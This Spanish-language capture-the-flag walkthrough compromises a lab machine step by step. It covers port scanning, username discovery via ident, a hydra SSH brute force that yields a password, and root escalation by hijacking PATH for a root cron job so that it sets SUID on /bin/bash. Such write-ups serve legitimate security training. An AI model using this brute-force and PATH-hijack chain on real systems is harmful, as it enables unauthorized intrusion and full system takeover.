Enumeración de servicios
Comenzamos con la enumeración de puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.63
❯ nmap -sCV -p22,80,113 -oN 02-targeted.txt 192.168.1.63
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-29 13:57 -03
Nmap scan report for 192.168.1.63
Host is up (0.00036s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 5f:1c:78:36:99:05:32:09:82:d3:d5:05:4c:14:75:d1 (RSA)
| 256 06:69:ef:97:9b:34:d7:f3:c7:96:60:d1:a1:ff:d8:2c (ECDSA)
|_ 256 85:3d:da:74:b2:68:4e:a6:f7:e5:f5:85:40:90:2e:9a (ED25519)
|_auth-owners: root
80/tcp open http nginx 1.18.0
|_auth-owners: moksha
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_/enlightenment
113/tcp open ident?
|_auth-owners: root
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 79.03 secondsIdentificación del usuario y acceso SSH
El servicio ident del puerto 113, consultado por el script auth-owners, asocia la conexión del servidor web con el usuario local moksha. El dato es una pista de identidad, no una credencial ni una prueba de que SSH acepte ese nombre. Antes de validarlo contra SSH, enumeramos el sitio en busca de más pistas:
❯ gobuster dir -u 'http://192.168.1.63' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,gif,png -r
...
/index.html (Status: 200) [Size: 19]
/robots.txt (Status: 200) [Size: 25]
...El robots.txt apunta a /enlightenment. Con el usuario moksha ya identificado, comprobamos una Weak Password con un diccionario contra SSH:
❯ hydra -l moksha -P ~/Documentos/wordlists/rockyou.txt 192.168.1.63 ssh -t 64
...
[22][ssh] host: 192.168.1.63 login: moksha password: hannah
...Escalada de privilegios
Nos conectamos y obtenemos la primera flag. La pista de enlightenment no se refiere a la conocida LPE, sino a un archivo /tmp/enlightenment. Revisamos las tareas cron:
moksha@hannah:~$ cat /etc/crontab
...
* * * * * root touch /tmp/enlightenment
...El cron de root ejecuta touch por su nombre relativo, de modo que el shell debe buscar el ejecutable en cada directorio de PATH. Comprobamos si alguno de los directorios anteriores a la ubicación legítima es escribible:
...
drwxrwxrwx 3 root root 4096 ene 4 2023 media
.../media es escribible y aparece antes que la ruta legítima de touch en el entorno del cron. Esto permite un PATH Hijacking: colocamos allí un ejecutable homónimo que asigna el bit SUID a Bash. Al resolver touch, el cron selecciona la primera coincidencia ejecutable y la inicia con los privilegios de root:
moksha@hannah:/media$ echo "chmod u+s /bin/bash" > touch; chmod +x touchEsperamos a que el cron lo ejecute y lanzamos una shell privilegiada:
moksha@hannah:/media$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 mar 27 2022 /bin/bash
moksha@hannah:/media$ bash -p
bash-5.1# whoami
rootObtenemos nuestra flag.
Fin.